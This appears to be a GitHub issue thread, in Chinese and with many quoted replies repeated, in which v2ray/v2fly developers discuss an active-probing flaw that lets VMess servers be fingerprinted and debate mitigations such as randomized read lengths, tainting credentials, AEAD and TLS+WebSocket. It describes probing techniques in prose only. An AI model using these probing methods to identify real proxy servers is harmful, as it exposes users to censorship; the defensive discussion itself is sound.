V2的话自己就是带防重放的,但是这个padding长度的部分的数据是未认证的,因此可以使用随机生成的密钥来通过防重放

我已经写好了一个紧急修复,请大家讨论一下是否需要更多修改。

v2fly@e0aa18b

发现一个问题,如果如此缓解,依然可以通过概率探测的手段进行探测。即第一版的PoC。在16字节后的38字节中填入随机值,然后探测仍然可发送的字节数。如果长度在20-68区间内,则是vmess。

我已经写好了一个紧急修复,请大家讨论一下是否需要更多修改。
v2fly@e0aa18b

发现一个问题,如果如此缓解,依然可以通过概率探测的手段进行探测。即第一版的PoC。在16字节后的38字节中填入随机值,然后探测仍然可发送的字节数。如果长度在20-68区间内,则是vmess。

这个应该可以按这个方法修? #2523 (comment)

我已经写好了一个紧急修复,请大家讨论一下是否需要更多修改。
v2fly@e0aa18b

发现一个问题,如果如此缓解,依然可以通过概率探测的手段进行探测。即第一版的PoC。在16字节后的38字节中填入随机值,然后探测仍然可发送的字节数。如果长度在20-68区间内,则是vmess。

这个应该可以按这个方法修? #2523 (comment)

那可以只修改其中的Key部分最后一个字节,故意引发Hash校验失败,但是这些可以校验的字段的值解密后并不受影响。然后继续用刚才的方法探测可发送长度。校验这些字段的合法性并不能有效缓解。应该把这个随机读取的区间拉得尽可能大。

但是拉得太大本身也引入了特征。。

我已经写好了一个紧急修复,请大家讨论一下是否需要更多修改。
v2fly@e0aa18b

发现一个问题,如果如此缓解,依然可以通过概率探测的手段进行探测。即第一版的PoC。在16字节后的38字节中填入随机值,然后探测仍然可发送的字节数。如果长度在20-68区间内,则是vmess。

嗯,我这个紧急修复就是先修复了精准识别的问题。然后概率识别的问题可以再想想怎么改比较好。

我已经写好了一个紧急修复,请大家讨论一下是否需要更多修改。
v2fly@e0aa18b

发现一个问题,如果如此缓解,依然可以通过概率探测的手段进行探测。即第一版的PoC。在16字节后的38字节中填入随机值,然后探测仍然可发送的字节数。如果长度在20-68区间内,则是vmess。

这个应该可以按这个方法修? #2523 (comment)

想了一下,这个缓解措施感觉不可行。

即使区间选的再大,攻击者都可以用上述的做法进行概率探测。如果随机读取的最大长度是以硬编码的形式写在程序里的,攻击者总是可以通过反复测试(30s内大量测试,过了30s换新的认证信息继续尝试)获得足够多的样本,从而判定服务为vmess。

嗯,光是这样肯定不能解决全部的问题。

如果一个连接的校验数据不正确,就在继续读取随机个字节的数据后关闭连接。同时,如果一个连接的认证数据正确但是指令认证校验数据不正确,将这个连接的认证信息标记为玷污状态,如果认证消息已经被玷污,则不能使用这个认证信息再连接兼容版本的协议。

还需要在发现被攻击的时候禁用掉这个认证信息

还需要在发现被攻击的时候禁用掉这个认证信息

这个的确可以有效缓解,但是会影响正常用户的连接。如果攻击者捕获每一个客户端的认证信息,并且故意让服务器将其禁用,这个服务器短时间内可用的认证信息会越来越少。

嗯,光是这样肯定不能解决全部的问题。

如果一个连接的校验数据不正确,就在继续读取随机个字节的数据后关闭连接。同时,如果一个连接的认证数据正确但是指令认证校验数据不正确,将这个连接的认证信息标记为玷污状态,如果认证消息已经被玷污,则不能使用这个认证信息再连接兼容版本的协议。

可能存在发送一个伪造包并延迟客户端的消息,进行"DoS"以作区分:

  • 先发送客户端的包再发送伪造包->通信建立
  • 先发送伪造包再发送客户端包->通信不能建立

嗯,光是这样肯定不能解决全部的问题。
如果一个连接的校验数据不正确,就在继续读取随机个字节的数据后关闭连接。同时,如果一个连接的认证数据正确但是指令认证校验数据不正确,将这个连接的认证信息标记为玷污状态,如果认证消息已经被玷污,则不能使用这个认证信息再连接兼容版本的协议。

可能存在发送一个伪造包并延迟客户端的消息,进行"DoS"以作区分:

* 先发送客户端的包再发送伪造包->通信建立

* 先发送伪造包再发送客户端包->通信不能建立

是的,因为服务器和客户端之间没有握手,这个问题似乎并不是那么好解决的。各种防重放的协议都会有这个问题。

嗯,光是这样肯定不能解决全部的问题。
如果一个连接的校验数据不正确,就在继续读取随机个字节的数据后关闭连接。同时,如果一个连接的认证数据正确但是指令认证校验数据不正确,将这个连接的认证信息标记为玷污状态,如果认证消息已经被玷污,则不能使用这个认证信息再连接兼容版本的协议。

可能存在发送一个伪造包并延迟客户端的消息,进行"DoS"以作区分:

* 先发送客户端的包再发送伪造包->通信建立

* 先发送伪造包再发送客户端包->通信不能建立

是的,因为服务器和客户端之间没有握手,这个问题似乎并不是那么好解决的。各种防重放的协议都会有这个问题。

问题的根源在于cfb没有认证机制。如果认证失败直接断开连接,就没有这么多事情了。

我的建议是,简单地进行缓解精准识别的问题之后,尽早将vmess协议重新设计

还需要在发现被攻击的时候禁用掉这个认证信息

这个的确可以有效缓解,但是会影响正常用户的连接。如果攻击者捕获每一个客户端的认证信息,并且故意让服务器将其禁用,这个服务器短时间内可用的认证信息会越来越少。

是的,因此还要加上一个需要同时更新客户端的协议修改来干掉这个bug后才能加上这个限制措施,或者让这个修改可以被禁用。

嗯,光是这样肯定不能解决全部的问题。
如果一个连接的校验数据不正确,就在继续读取随机个字节的数据后关闭连接。同时,如果一个连接的认证数据正确但是指令认证校验数据不正确,将这个连接的认证信息标记为玷污状态,如果认证消息已经被玷污,则不能使用这个认证信息再连接兼容版本的协议。

可能存在发送一个伪造包并延迟客户端的消息,进行"DoS"以作区分:

* 先发送客户端的包再发送伪造包->通信建立

* 先发送伪造包再发送客户端包->通信不能建立

是的,因为服务器和客户端之间没有握手,这个问题似乎并不是那么好解决的。各种防重放的协议都会有这个问题。

问题的根源在于cfb没有认证机制。如果认证失败直接断开连接,就没有这么多事情了。

我的建议是,简单地进行缓解精准识别的问题之后,尽早将vmess协议重新设计

是的,我也觉得应该修改一下VMess这方面的设计,非AEAD的话需要考虑的问题太多了

但是对于TCP协议的代理来说,读取多少数据之后再判断连接内容是否正确并关闭问题连接一直都是挺难搞定的问题,没太想出特别好的解决方法,即使是AEAD的话也有这个问题。

我们不能马上推出新协议,只能指望这个修复能够争取足够的时间了

关于随机值上下限:由服务端根据某些配置(uuid?)生成?使得每一个服务器都不一样。同时适当提高上下限以展宽空间,争取时间。

但是对于TCP协议的代理来说,读取多少数据之后再判断连接内容是否正确并关闭问题连接一直都是挺难搞定的问题,没太想出特别好的解决方法。

一个可能过于激进的方案是从不主动关闭非法连接。

但是对于TCP协议的代理来说,读取多少数据之后再判断连接内容是否正确并关闭问题连接一直都是挺难搞定的问题,没太想出特别好的解决方法,即使是AEAD的话也有这个问题。

只读入十几个个字节,防火墙不敢直接断定是vmess吧

但是对于TCP协议的代理来说,读取多少数据之后再判断连接内容是否正确并关闭问题连接一直都是挺难搞定的问题,没太想出特别好的解决方法。

一个可能过于激进的方案是从不主动关闭非法连接。

不主动关闭连接也是一个特征吧,一般的服务器哪有一直接受无效数据的。。。

我们可以把何时关连接的问题放在后面讨论,那个显然不只属于vmess v1(姑且这么叫它)而且讨论起来太费时间了

我的意见:除了参数是硬编码的而且太小了以外,现在的方案作为缓解是可以接受的。

我的意见:除了参数是硬编码的而且太小了以外,现在的方案作为缓解是可以接受的。

如果这个参数太大的话,其本身也会成为一个特征。现在这个修改是用于干掉精准识别的bug的,需要先再考虑考虑再进行进一步修改。

既然改动P会影响读入的长度的话,校验失败时把长度补全永远读16字节不就好了,例如如果随机的P是4,就再读12字节,是3就再读13字节。

虽然会废了动态的长度特征,但是根据概率统计,这个特征也不是随机了16字节的长度能摆平的。

既然改动P会影响读入的长度的话,校验失败时把长度补全永远读16字节不就好了,例如如果随机的P是4,就再读12字节,是3就再读13字节。

这样的话特征就变成读取16字节的认证信息后会读38+16字节的内容后关闭连接了

我认为这种缺陷影响的不仅是V2ray,其他类型的翻墙技术也可能受这种漏洞影响(Shadowsocks、ShadowsocksR、Brook、Trojan、Tor、SoftEtherVPN以及Express、Nord这些大型商业混淆VPN)。当务之急不仅要修补V2ray的这个缺陷,还要将此情况通过诸如邮件等方式告知这些翻墙软件的开发者(开发组织),提醒他们注意排查并修复这类漏洞。

我认为这种缺陷影响的不仅是V2ray,其他类型的翻墙技术也可能受这种漏洞影响(Shadowsocks、ShadowsocksR、Brook、Trojan、Tor、SoftEtherVPN以及Express、Nord这些大型商业混淆VPN)。当务之急不仅要修补V2ray的这个缺陷,还要将此情况通过诸如邮件等方式告知这些翻墙软件的开发者(开发组织),提醒他们注意排查并修复这类漏洞。

现在不用通知,估计都在关注这个事情

Shadowsocks

2017年的时候为了根治这一问题,Shadowsocks换了AEAD加密,(顺便第三次更新了包格式:前两次分别是添加IV和OTA)

把tls 丢给 haproxy做会不会比较好

So let me make a conclusion. Vmess protocol over raw TCP connection is now no longer recommended, and its users should switch to recently patched TLS-based connections right?

@EdChdX I think the best choice might be switch to TLS(Trusted) + Websocket + Other(VMess).

原始VMess包含AES-128-CFB,後來V2Ray文檔只寫VMess支援AES-128-GCM、CHACHA20-POLY1305、NONE(無加密)。

总体来说,ss已经完全识别了,有个固定的头部特征,抓包看看就知道了非常明显
所以现在ss更新了加了个aead模式,就是去掉了特征
ss也是有这种固定的特征包,后面换了AEAD才解决
image
ss这个模式,抓包抓不到特征的
什么aes256cfb都有非常明显的固定特征轻松识别

So let me make a conclusion. Vmess protocol over raw TCP connection is now no longer recommended, and its users should switch to recently patched TLS-based connections right?

Exactly.

感谢 p4gefau1t 对v2ray-core所做贡献,同时请愿p4gefau1t继续对v2ray-core的源码进行安全审计和分析。

之前的vmess协议,貌似连fuzzing测试都没做过吧。

感谢 p4gefau1t 对v2ray-core所做贡献,同时请愿p4gefau1t继续对v2ray-core的源码进行安全审计和分析。

感谢page fault大佬为社区作出的贡献,应该感谢,而不是揣测。并不存在什么trojan项目针对v2ray什么的。大家都是开源工具,没有什么针不针对。

感谢聚聚的辛苦付出,希望聚聚不会被一小撮阴谋论分子影响

希望后续能用服务器IP绑vmess+ws+tls,现的方案都是域名vmess+ws+tls,自用10几台服务器用域名超级麻烦,谢谢

TLS证书

TLS证书能IP地址申请吗好久不关注了,类似免域名 Trojan 使用教程,我用过但Trojan速度不知道怎么就起不来,折腾好久了,就是折腾不出来免域名的vmess+ws+tls,大神求指导

TLS证书

TLS证书能IP地址申请吗好久不关注了,类似免域名 Trojan 使用教程,我用过但Trojan速度不知道怎么就起不来,折腾好久了,就是折腾不出来免域名的vmess+ws+tls,大神求指导

理论上自签证书应该也行,可信度不高

TLS证书

TLS证书能IP地址申请吗好久不关注了,类似免域名 Trojan 使用教程,我用过但Trojan速度不知道怎么就起不来,折腾好久了,就是折腾不出来免域名的vmess+ws+tls,大神求指导

理论上自签证书应该也行,可信度不高

不在乎可信度不高,只求让GFW不这么省电